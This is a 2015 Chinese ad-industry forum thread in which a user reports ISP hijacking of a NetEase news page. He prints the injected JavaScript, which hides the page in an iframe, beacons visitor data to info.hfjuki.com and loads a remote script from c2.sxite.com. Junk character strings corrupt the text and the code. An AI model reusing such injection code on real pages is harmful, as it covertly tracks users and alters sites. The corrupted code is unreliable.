AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
⚡️AdsPower:安全不封号,高效自动化广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️Mediabuy⚡️玩家开户首选
【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️Taboola/Outbrain /Bing⚡️一级代理
开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放FB BM不限额,短id账单户
E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN
7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值Facebook 批量上广告
尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)
⚡️TikTok企业户,bm户,账单户FB企业户,TT老户,GG老户源头海外CL企业户源头PTM虚拟卡[全新卡BIN+高返点]
PTM虚拟卡[OPENAI+全场景通用]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量->Tyver SPY汇聚海量广告创意
高质量代理⚡️住宅⚡️移动广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构
查看: 8572|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

771

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑 / [" t# H9 k- [2 M

4 N! x1 R/ h0 ?6 C上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了- @6 v' j0 U8 k) ?! b

7 e) V% _* Z2 Q2 {0 D接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
+ ~+ f* H; Q. y1 \
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

7 H! d% Q5 j+ G4 ?
! m( [4 s2 _/ J' J顺便查下ip138:
+ V, y2 J4 u* Z  q& ?! F0 k# V$ l3 V0 E( z
这是那段js里面的代码,好象是个半成品还没写入广告数据:, @' O7 Y3 K8 h0 M, t
  1. function locationSearch() {" H; e' t4 B: E+ }$ k1 p1 Z
  2.         var s = getMainJs();& R6 V( Y5 W) e$ Q. i. }+ o
  3.         if (s == null) {  L- h! E4 k+ i. c9 `3 I* m" F
  4.                 location.reload();4 s5 B2 G# ]1 D8 V
  5.         }# f9 B8 j6 ^* y* }' Y
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    5 R% e2 W* S  a8 m; n
  7. }! K# s" I( l7 m, a' @! {
  8. 0 t6 X3 y8 G: \& g# N4 L5 V
  9. function getParameter(name, paraStr) {
    $ k7 Y" `( {9 @  A0 Q8 ^
  10.         var result = "";
    ! Z( @' @6 O+ `% o
  11.         var str = "&" + paraStr.split("?")[1];' Z& j  G+ u+ Y* m8 m/ [
  12.         var paraName = "&" + name + "=";
    8 g. P5 s$ v2 F6 A8 R% [1 l, c: P* m  y% V
  13.         if (str.indexOf(paraName) != -1) {
    ' a% {; r/ J" Z& b& K
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {, J" p6 C& R  e0 c0 m- w( t5 z
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    & n" T# J! p3 n3 J  }
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(( h- z% M7 D! o& u8 o
  17.                                         1, TmpStr.length).indexOf("&")! r) c% l- A. F
  18.                                         - TmpStr.indexOf(paraName) + 1);8 p4 Q) U1 H% }0 n$ \% b
  19.                 } else {: v( P  j; O* {" \
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    & d+ O) ~( W( S" N/ l1 v" F3 \: S
  21.                 }9 U7 |. y3 R' L3 d7 Y

  22. 9 n; ^( K  `# K4 P6 T0 Q
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 U7 U0 \; ^. h3 ^# f5 P7 [' p
  24.         } else {
    * G5 @. l: J+ f0 m% x0 R6 L5 c
  25.                 result = "No such parameter";6 T# G' _6 a8 c; L
  26.         }
    3 y6 S2 K* O; F6 ~7 G; i
  27.         return (result.replace("&", ""));
    . X- A! P: V4 G8 p0 k8 Y5 |5 ?
  28. }% Z  p& E7 I/ M; z* @$ `

  29. # q/ `8 M" I$ K
  30. function getMainJs() {
    * ^' B3 Z- o1 |, i5 z9 r
  31.         var scripts = document.getElementsByTagName("script");
    6 W+ I5 }' Q% V
  32.         var s = null;. ], q+ p5 i& c8 D( l
  33.         for (var i = 0; i < scripts.length; i++) {
    7 `% L& H: J0 M# w% Y. O' Q
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {& X2 V& U0 h' }' z9 O5 }' M
  35.                         s = scripts[i];& L( b2 ?7 g/ ^+ P
  36.                         break;4 a& M" ?4 F' j/ T2 V3 f9 i8 E
  37.                 }
    ) w2 @0 A; a: |8 ]. o
  38.         }' E9 S& k$ k5 H+ A
  39.         return s;6 }/ \- _% x) V. f4 b, ]  \
  40. }
    4 U$ R. M. V, z! V0 e7 t

  41. / m8 d3 ]0 `7 c1 G! ~
  42. function appendParam(oStr, aStr) {8 B- k) A) ~, R2 g  E
  43.         if (oStr.indexOf('?') > 0) {
    : D( ?4 D* [# M/ x2 S7 @- a
  44.                 oStr = oStr + "&" + aStr;/ j' g+ v' ]: c: X
  45.         } else {
    % y3 l  F$ D6 Q+ s8 N! v! A
  46.                 oStr = oStr + "?" + aStr;5 G' h% p( K. v9 ]
  47.         }
    ) `7 P6 L  \, h2 e
  48.         return oStr;
    & n! _4 |+ d' V: P% A) s
  49. }
    4 }- ?0 q7 H" Y; ]( @8 H
  50. 3 F# H1 Z! @% E( O
  51. window.onerror = function() {" D" \7 {& d7 o( B
  52. };5 |) W0 a# e% D# \0 u8 p: v6 Q7 ~
  53. ! x0 ~3 Z' @. K* f
  54. var g_titleTime = 0;
      d% y. v0 w+ s4 k( S
  55. function setTcTitle() {3 k* V% f6 s) |
  56.         if (undefined == document) {
    % [8 W6 q# u5 s+ a2 i
  57.                 g_titleTime++;
    2 `0 c1 s. d, V, p( J% m
  58.                 setTimeout("setTcTitle();", 1000);+ d" m4 Y7 d  t  X1 j, h
  59.                 return;
    7 z% f: @$ M$ P/ ~! h7 X
  60.         }% G1 H' q/ J8 J2 h8 Q8 x" B
  61. - F7 d9 h% E4 ~% A, D
  62.         var doc;
    8 k4 y, I# e/ `0 j
  63.         try {
    7 E) H5 U, r2 e% v7 O# s
  64.                 if (document.all) {
    # ]9 ^: ?0 [: t3 y5 u3 i
  65.                         doc = document.frames["cn"].document;4 r- x/ ?: @: E$ W( `
  66.                 } else {
    $ O  J: `: l  E" N+ ^6 j+ d; m
  67.                         doc = document.getElementById("cn").contentDocument;
    % O* c. F8 A/ u7 m+ Y& i
  68.                 }
    / b- g2 t" F* H+ {$ S
  69.         } catch (ex) {$ D+ z2 O, F) K% u
  70.         }
    / H* c1 c1 R7 N) {4 D
  71. 5 o) u1 I0 V2 e# s$ {# {
  72.         if (g_titleTime < 5
    / U, H  {9 ]- W- K# ?8 a+ b
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    ) E8 J) E: j( F" q4 f
  74.                 g_titleTime++;
    3 r3 r& A( P* J5 @7 x! y
  75.                 setTimeout("setTcTitle();", 1000);" H7 |' Z5 d1 D+ {$ a
  76.                 return;
    ; X! h% R( P; ]( I" r
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " p5 v$ L% h+ v; M) F
  78.                 document.title = doc.title;
    / ?2 h- q1 |1 u
  79.                 setTcAdvVisible();
    ( C/ g& C/ }$ i7 f6 m& Z/ T' [7 _
  80.         }- W  G; w' T1 X1 s; }  k
  81. }+ E! T/ I9 Y8 x8 ~
  82. 0 N$ m+ g' L1 S- I. `$ Q: }1 l
  83. setTimeout("setTcTitle();", 1000);
    : {2 L" `0 ?# t* g, E7 v. F- h7 ^

  84. & M$ T" D" o, `4 ?# S
  85. var g_isHaveVisible = false;
    6 Q0 S3 L4 Q, }9 T* `7 i
  86. function setTcAdvVisible() {, m) o9 D) Y1 Y# P8 E
  87.         if (undefined != document && undefined != document.getElementById("addiv")( `/ J! j( t( L
  88.                         && !g_isHaveVisible) {
    % v% b4 k7 ~" I/ C5 g4 e3 K' ]
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    1 S. j& t2 b. i0 `4 }9 v
  90.                 document.getElementById("addiv").style.display = 'block';
    ) V0 B  C, k6 v: }/ z
  91.                 g_isHaveVisible = true;) c3 I/ S5 @6 q& S3 ]
  92.         }: F1 T5 w+ H) |/ q& U. V: k: p
  93. }6 b3 P+ r, S; R( y! q
  94.   [+ o' M2 B1 p4 A
  95. function UrlAnalyzer() {7 I; ?2 T( k" r/ P8 i
  96.         this.divda = "";0 j4 c8 v* K3 m0 |! I& \
  97.         this.tctype = "";
    : h& i- _: z/ K6 d7 U8 m) ?
  98.         this.radius = "";; m) }; o* l# ^
  99.         this.rlu = "";
    4 P0 C9 O0 n# e7 I! {
  100. }5 r6 Z1 [- {4 g  Z8 |5 a/ k8 ^9 m; z

  101. 4 d% s+ f" ]' H8 ?7 d
  102. UrlAnalyzer.prototype.initParameters = function() {
    + q2 ]( H9 L: a* y; D6 @2 s5 d
  103.         var paraStr = locationSearch();6 G! ^8 N/ ?8 E6 N3 a
  104.         this.rlu = getParameter("lruedct", paraStr);
    6 c2 S( l: y7 E' V# N6 v
  105.         this.divda = getParameter("divda", paraStr);
    ) Q5 A) V1 u) L
  106.         this.radius = getParameter("radius", paraStr);
    2 u4 f* O7 T/ ]1 w1 E, z' {$ @
  107.         this.tctype = getParameter("tctype", paraStr);4 \, E# D( R+ j& [- ^1 J' k
  108.         this.address = getParameter("address", paraStr);2 J: h" i1 t9 \# Z& p( b( n6 W
  109.         this.usagent = getParameter("usagent", paraStr);3 n( v: w6 e) r6 s- \5 j; ]
  110. }
    6 n7 Z& X" c9 @

  111. & A, R6 y. u: i. v* q9 Q' p
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {8 a2 m' S% Y  w7 `  {
  113.         var doc;
    6 c' o- P/ R2 P' {
  114.         try {
    0 }8 [) I: O" ?- \0 u( r
  115.                 if (document.all) {7 P1 H2 W7 K3 W$ |/ u, M
  116.                         doc = document.frames["cn"].document;% p! o& B! p: d- M  N: \" o/ @6 |
  117. 3 Q; P4 ?/ F1 `/ }7 v" e+ p) f
  118.                 } else {
    2 R$ p$ N( `# w4 a% M$ d8 a/ T
  119.                         doc = document.getElementById("cn").contentDocument;* A; a" ?# z9 n
  120.                         // doc = document.getElementById("cn").contentWindow.document;
      J: O% b9 X8 l
  121.                 }# @0 y) z2 H( E3 {) F' Y% h( A
  122.         } catch (ex) {
    " D5 o* J/ m; K5 S) u, s* ~
  123.         }
    & ^( [# p9 h- I' I
  124.         return doc;: h0 T- |( D: j3 x% y5 e
  125. }
    ) |; Y0 ?: @# N3 `; l9 f: V

  126. 6 N! C1 Y  W5 W! W' |7 v- `, o
  127. UrlAnalyzer.prototype.setDomain = function() {4 _+ h: |- H. V
  128.         if (undefined != document.title && "" == document.title)
    4 _; j1 B' C; S3 g3 _% L
  129.         {9 A1 J0 x, A& ?  V& P
  130.                 var index = document.domain.indexOf(".");4 {+ `) h/ X  |& E6 |) C
  131.                 if (undefined != index && -1 != index) {+ v. |- y& z" N8 n) F% Y
  132.                         document.domain = document.domain.substring(index + 1,
    " O. g6 g% ?1 b& c
  133.                                         document.domain.length);. Y! G7 J2 K0 T  g( N
  134.                 }
    8 t6 j- G& T& S7 F0 e3 s
  135.                 7 N& a/ L8 H$ ?* G; ?# L4 m
  136.                 var doc = this.getHtmlDoc();
    7 |) Q8 c5 }; B* W! F6 m3 }
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ( ]' s! @) e. T) S' X- \+ _
  138.                         document.title = doc.title;; a8 v0 B9 @& N
  139.                         setTcAdvVisible();# J( \) f8 ^# B( z% T  r
  140.                 }
    4 G' h9 f. \; l+ L- Z8 a
  141.         }
    ! o5 W! J$ ~$ ~& }
  142. }; C  Q' H5 U+ `1 X

  143. 3 n) c: w( ]3 G0 x- ^
  144. UrlAnalyzer.prototype.iframeCallback = function() {
    ) G; M" b# D$ e
  145.         var doc = this.getHtmlDoc();# g5 Q2 @8 }6 j) C6 r) q, I
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    ) J$ {0 w4 [0 c1 g+ e1 |
  147.                 if (undefined != document.domain) {9 z7 a8 u1 o' U1 P9 Z

  148. 7 L# U( z0 r& y# F+ ]7 O
  149.                         var self = this;
    ' ~' V7 U% O$ {
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);7 I! i7 {) [! p1 R9 }( R
  151.                         // var index = document.domain.indexOf(".");
    $ l6 |, u8 x" T8 W3 A
  152.                         // if (undefined != index && -1 != index) {
    3 ]0 a7 ]0 c2 Q& _/ b1 K1 _6 m
  153.                         // document.domain = document.domain.substring(index + 1,
    $ d# R! R( h0 s/ B0 K
  154.                         // document.domain.length);! n" c; l" a$ y2 r& P  b" {6 \
  155.                         // }
    1 F; X) w, A+ e2 d5 O' o3 J" X  z
  156.                         //$ _# |$ D9 e* x* q' i
  157.                         // var doc = this.getHtmlDoc();2 [) P8 i: J3 Q* n; w$ S/ ?
  158.                         // if (undefined != doc && undefined != doc.title && "" !=  x3 l# l, I! r1 r) S5 E
  159.                         // doc.title) {
    4 @& e" W6 _$ c& [$ `+ a0 {
  160.                         // document.title = doc.title;
    6 d; q6 ]" [6 z8 R# E
  161.                         // setTcAdvVisible();3 H1 f7 S( t4 d( I5 e
  162.                         // }4 H; z; h- N) G7 F1 d- M. K, M
  163.                 }/ C0 K9 E8 k* `
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {3 i/ r, m! L$ S+ c7 b
  165.                 document.title = doc.title;; q7 P3 Y1 v( H+ R% c! S/ c
  166.                 setTcAdvVisible();
      ]+ |/ S" E7 B
  167.         }# d7 G0 s% u. E5 J8 T$ P2 Z
  168. }
    9 D  t( g2 Y  W& [, n; B  ?9 M

  169. ( v/ V( L. W7 H
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {2 {3 s1 `. |5 r7 U. f! A8 H4 ]
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda6 H! K4 i% w- W' _! b; W- \- v
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
      K4 U: t7 R0 S

  173. , H  O, Z! I" U) }% x" b
  174.         var htmlStr = "<iframe src="" + staUrl/ [1 F2 S9 f5 r" b9 ^
  175.                         + "" style="display:none"></iframe>";
    3 \/ C( Q9 K$ o7 b" F

  176. 7 e( Q% t5 H+ x( K. ]& L. L  Z1 e- B, ?) Y
  177.         var advUrl = htmlStr  g) D0 Y* e) }. p, E. B; W
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId=": Z2 r$ Y9 H) i) Y0 M9 h! Q( C
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
      l" g# T% v* G& e/ A8 F# M' c
  180.         document.write(advUrl);& R( b! z8 x% H  K

  181. 3 K1 m1 V6 ^+ M8 M
  182.         var self = this;
    ) H+ E& v" d$ g, K, }3 q
  183.         var iframe = document.getElementById("cn");
    ) x/ s+ W" g! ?% A! k
  184.         if (iframe.attachEvent) {
    4 t* F' |7 s5 @# e" J% B9 L
  185.                 iframe.attachEvent("onload", function() {+ p2 L( v. g8 e1 l' d
  186.                         self.iframeCallback.call(self, null);, o0 S/ {/ [" ~' U* G3 Z# Y" K' s
  187.                 });% v/ Z. W5 R- q1 W# G7 L
  188.         } else {, B% K" r5 I9 H
  189.                 iframe.onload = function() {
    ) F, a& i0 p7 D% Q: ?
  190.                         self.iframeCallback.call(self, null);" o$ D# f2 E# z! e
  191.                 }0 v' e' z/ |8 n# B% E
  192.         }' Y! H: e% \; ~6 H5 s2 b" D
  193. }
    ' P0 P: G4 o& D/ D

  194. + ~3 A: g" ^. O& `$ E5 E! c: n
  195. UrlAnalyzer.prototype.executeMain = function() {1 }5 _! q$ [( ]) W
  196.         var mainFrame = document.getElementById("cn");
    # I$ N& T4 i& @, N- F5 m3 R0 `. @
  197.         mainFrame.contentWindow.location.href = mainFrame.src;! J/ I$ X& y+ M9 L' ~1 s6 V
  198.         this.initParameters();( W/ U/ m% L2 Q: T+ k% v
  199.         this.executeHtmlContext();
    ' @/ H' ^4 E, t/ E
  200. }! C9 k* r* h& s3 M- `

  201. # r& s. X  L5 Y: F2 y
  202. var g_analyzer = new UrlAnalyzer();
    & }; ]& V* {1 X
  203. g_analyzer.executeMain();
    6 [$ Q, Y% Y* ~6 T/ T
复制代码
9 D8 ]. L, R1 v& o+ j

/ v+ P' ~1 w1 {) t2 {
9 h; l5 W1 Y, B, C6 c3 q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:495 c1 o! l  u; |3 L" `/ a' B
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
: ~" N) L; s* Q. T
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
1 h% q+ H; c: A" l1 s# e2 i# k1 jTCP劫持,换DNS也不管用的。
3 J5 T! e# }  d6 X7 C
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-11-5 06:29 , Processed in 0.052039 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表